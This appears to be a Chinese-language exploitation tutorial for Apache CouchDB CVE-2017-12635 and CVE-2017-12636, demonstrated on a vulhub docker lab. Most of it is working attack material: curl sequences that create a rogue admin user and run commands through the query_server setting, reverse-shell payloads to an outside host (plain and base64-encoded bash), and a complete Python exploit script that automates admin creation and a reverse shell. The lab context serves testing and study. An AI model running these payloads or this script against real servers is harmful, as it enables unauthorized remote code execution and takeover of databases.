Port:5984
Apache CouchDB 是一个开源数据库,专注于易用性和成为 "完全拥抱 web 的数据库"。CouchDB 会默认会在 5984 端口开放 Restful 的 API 接口,用于数据库的管理功能。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。
在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露, CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server
,这个配置项在设计、执行 view 的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
参考链接:
CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。可以被利用于,非管理员用户赋予自身管理员身份权限。
CVE-2017-12636 时由于数据库自身设计原因,管理员身份可以通过 HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。结合 CVE-2017-12635 可实现远程代码执行。
如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub
Couchdb 2.x 和 1.x 的 API 接口有一定区别,所以这个漏洞的利用方式也不同。本环境启动的是 1.6.0 版本,如果你想测试 2.1.0 版本,可以启动 CVE-2017-12635附带的环境。
执行如下命令启动 Couchdb 1.6.0 环境:
docker-compose up -d
启动完成后,访问 http://your-ip:5984/
即可看到 Couchdb 的欢迎页面。
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用 CVE-2017-12635先增加一个管理员用户。
curl-XPUT 'http://your-ip:5984/_users/org.couchdb.user:vulhub'-d'{"type":"user","name":"vulhub","roles":["_admin"],"roles":[],"password":"vulhub"}'-H'Content-Type:application/json'
依次执行如下请求即可触发任意命令执行:
新增 query_server 配置,写入要执行的命令;
新建一个临时库和临时表,插入一条记录;
调用 query_server 处理数据
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd'-d'"id >/tmp/success"'
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul'-d'{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl-XPOST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10'-d'{"language":"cmd","map":""}'-H'Content-Type:application/json'
其中,vulhub:vulhub
为管理员账号密码。
第一个请求是添加一个名字为 cmd
的 query_servers
,其值为 "id >/tmp/success"
,这就是我们后面待执行的命令。
第二、三个请求是添加一个 Database 和 Document,这里添加了后面才能查询。770895a97726d5ca6d70a22173005c7b
应该表示 vul
。
第四个请求就是在这个 Database 里进行查询,我们将 language 设置为 cmd
,这里就会用到第一步里添加的名为 cmd
的 query_servers
,最后触发命令执行。
引申一
既然可以命令执行,也就是说可以反弹 shell,如果是 ctf 题,也可以将 flag 带出来。
#直接反弹 shell 是失败的
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd'-d'"sh -i >& /dev/tcp/your_VPS-ip/443 0>&1"'
#需要通过 base64 反弹 shell
curl调用字符串需要用 '或";json 需要 ",bash -c 的字符串需要 '或",这三层的逻辑嵌套有些乱,因此可以将反弹 shell 的语句写在文本里面,通过 curl 调用本地文本。
/home/mobaxterm $ catshell_re.txt
"bash -c '{echo,c2ggLWkgPiYgL2Rldi90Y***********LjE1Mi4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"
/home/mobaxterm $ curl-XPUT 'http://vulhub:vulhub@your-ip:5985/_config/query_servers/cmd'-d'@shell_re.txt'
"bash -c '{echo,c2ggLWkgPiYgL2Rldi90************4xODAvODg0MyAwPiYx}|{base64,-d}|{bash,-i}'"
/home/mobaxterm $ curl-XPOST 'http://vulhub:vulhub@your-ip:5985/vultest/_temp_view?limit=10'-d'{"language":"cmd","map":""}'-H'Content-Type:application/json'
……
引申二
同样你也可以不用登录获取 Cookie,直接在 curl 请求中带入账号密码也是可以的,类似于这样,执行效果是一样的,这种方法可能更方便点吧。例如:
curl-XPUT 'http://192.168.199.181:5984/_config/query_servers/cmd'-d'"python /tmp/back.py"'-H"Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
curl-XPUT 'http://192.168.199.181:5984/teeest'-H"Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
curl-XPUT 'http://192.168.199.181:5984/teeest/vul'-d'{"_id":"770895a97726d5ca6d70a22173005c7b"}'-H"Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
curl-XPOST 'http://192.168.199.181:5984/teeest/_temp_view?limit=11'-d'{"language":"cmd","map":""}'-H'Content-Type: application/json'-H"Cookie: AuthSession=YWRtaW46NTc5QTRGMjc6VKTKwNEud9fFchzR-HtOrjM5Cg4"
2.1.0中修改了上面用到的两个API,这里需要详细说明一下。
Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问 /_membership
即可:
curlhttp://vulhub:vulhub@your-ip:5984/_membership
可见,我们这里只有一个node,名字是 nonode@nohost
。
然后,我们修改 nonode@nohost
的配置:
curl-XPUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d'"id >/tmp/success"'
然后,与 1.6.0 的利用方式相同,我们先增加一个Database和一个Document:
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl-XPUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul'-d'{"_id":"770895a97726d5ca6d70a22173005c7b"}'
Couchdb 2.x 删除了_temp_view
,所以我们为了触发 query_servers
中定义的命令,需要添加一个_view
:
curl-XPUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d'{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}'-H"Content-Type: application/json"
增加_view
的同时即触发了 query_servers
中的命令。
附一个简单的脚本 exp.py,修改其中的 target 和 command 为你的测试机器,然后修改 version 为对应的 Couchdb 版本( 1 或 2 ),成功反弹shell:
#!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://your-ip:5984' command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1""" version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } # session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')